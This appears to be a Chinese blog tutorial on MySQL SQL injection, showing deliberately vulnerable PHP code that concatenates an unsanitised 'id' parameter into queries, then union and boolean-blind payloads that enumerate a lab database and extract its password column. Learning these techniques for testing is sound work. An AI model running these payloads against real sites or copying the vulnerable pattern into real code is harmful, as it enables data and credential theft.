mysql的渗透_渗透测试MySql注入(一)

一、SQL注入条件

参数用户可控:前端传递给后端的参数内容是用户可以控制的。

参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库执行。

二、MySQL注入知识点

在mysql5.0之后默认存在一个information_schema数据库,该数据库中有三个表特别重要,分别为:SCHEMATA表、TABLES表、COLUMNS表。

SCHEMATA表中SCHEMA_NAME存放该用户创建的所有数据库库名:

5864ac8d48ee

SCHEMATA表

TABLES表中TABLE_SCHEMA和TABLE_NAME存放该用户创建的所有数据库库名和表名:

5864ac8d48ee

TABLES表

COLUMNS表中TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME分别存在该用户所创建的所有数据库名、表名、列名。

5864ac8d48ee

COLUMNS表1. mysql查询语法

SELECT 要查询的字段名 FROM 库名.表名

select * from mysql.user

5864ac8d48ee

mysql查询1

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名 = 已知条件的值

select * from mysql.user where user = 'root'

5864ac8d48ee

mysql查询2

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名 = 已知条件1的值 AND 已知条件2的字段名 = 已知条件2的值

select * from mysql.user where user = 'root' and Host = 'localhost';

5864ac8d48ee

mysql查询32..limit 用法

limit相当于对查询的结果做约束,语法为limit m,n。m表示开始的位置,从0开始,n表示取的个数,limit 0,1表示

select * from mysql.user limit 0,1

5864ac8d48ee

limit用法3.需要记住的几个函数

database() :当前网站的数据库

version():当前mysql版本

user():当前数据库用户

4.注释符

mysql常见的注释符有#--空格和/**/

5.内联注释

内联注释形式如:/!xxx/,内联注释可以用于整个SQL语句中

/*!select*/ * from /*!mysql.user */;

5864ac8d48ee

内联注释

三、union注入

在Navicat中创建一个数据库并填入相关的表数据

5864ac8d48ee

数据库

编写union注入代码:

$con = mysqli_connect('localhost','root','root');//选择数据库

mysqli_select_db($con,'test');//选择表

if(mysqli_connect_error()){

echo "连接失败:".mysqli_connect_error();//要是连接失败就给提醒

}

$id = $_GET['id'];

$res = mysqli_query($con,"select * from user where `id` = ".$id );//执行SQL语句

$row = mysqli_fetch_array($res);//将mysql处理结果转换为数组

echo $row['user'] . ":" . $row['address'];//向前端显示数组值

echo "
";

?>

5864ac8d48ee

union注入

现在可以进行SQL注入了

1.判断是否存在注入:and 1=1

5864ac8d48ee

union注入

and 1=2

5864ac8d48ee

union注入发现存在存在注入,使用order by 语句查看当前表存在的字段数:

5864ac8d48ee

image.png发现存在4个字段,进行union注入:

5864ac8d48ee

image.png发现第二个字段和第四个字段存在回显,'-1'是让显示在语句不出错的情况下显示union select 之后的内容,接下来进行查看当前用户和当前数据库:

5864ac8d48ee

union 注入

查看表名:

5864ac8d48ee

union 注入查看列名:

5864ac8d48ee

union 注入通过limit x,1 对列名进行遍历:

5864ac8d48ee

union 注入

5864ac8d48ee

union 注入得到Password字段,对该字段进行读取:

5864ac8d48ee

union 注入利用limit x,1遍历其他用户和密码:

5864ac8d48ee

union 注入

5864ac8d48ee

union 注入

五、Boolean 注入攻击

编写boolean注入代码:

$con = mysqli_connect('localhost','root','root');

mysqli_select_db($con,'test');

if(mysqli_connect_error()){

echo "连接失败:".mysqli_connect_error();

}

$id = $_GET['id'];

if(preg_match("/union|sleep|benchmark/i",$id)){

echo "no";

}

$res = mysqli_query($con,'select * from user where `id` = '.$id);

$row = mysqli_fetch_array($res);

if($row){

echo "yes";

}else{

echo "no";

}

?>

//以上代码过滤了关键字,且只回显‘yes’或者‘no’

此时无法进行union注入,可以进行bool注入

判断是否存在SQL注入:

5864ac8d48ee

bool 注入and 1=2显示no:

5864ac8d48ee

bool 注入说明存在SQL注入,因为是要bool 注入 故首先判断当前数据库的长度

payload:and length(database())>0

5864ac8d48ee

bool注入

5864ac8d48ee

boolean注入

5864ac8d48ee

boolean注入证明数据库名为4位,接下来对每一位进行获取:

payload:and ascii(substr(database(),1,1))>1

5864ac8d48ee

bool注入用二分法确定ascii值的区间再采用burp进行爆破,很快就能确定所有位。

5864ac8d48ee

bool注入

5864ac8d48ee

bool 注入可以看出第一位的ascii值为116-》't',依次往下执行得到最后的数据库名为'test',接下来去查看该数据库有多少表:

payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=1

5864ac8d48ee

bool 盲注payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=2

5864ac8d48ee

bool 盲注说明存在一个表,接下来查看第一个表的长度:

payload:and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))=4

5864ac8d48ee

bool 盲注说明表名是4位,接下来开始爆破表名得每一位:

payload:and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>0

5864ac8d48ee

bool 盲注说明第一位是ascii是117-》'u',以此类推得到表名为'user',接下来查看表中有多少列,然后以此查看列名的长度位数和列名:

查看有多少列:

and (select count(column_name) from information_schema.columns where table_schema = 'test' and table_name = 'user' limit 0,1)>3

说明存在4列,查看第一列列名长度:

and length(substr((select column_name from information_schema.columns where table_schema='test' and table_name = 'user' limit 0,1),1))=2

变换limit x,1可以遍历出所有列名的长度,接下来爆破第一列的第一位:

and ascii(substr((select column_name from information_schema.columns where table_schema='test' and table_name='user' limit 0,1),1,1))>0

进行爆破后得出每一列的列名···

接下来提取数据:

and ascii(substr((select Password from user limit 0,1),1,1))=49

变换substr(x,y,1)中的y值一次爆破出数据···

最后得到整个数据库中的内容

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值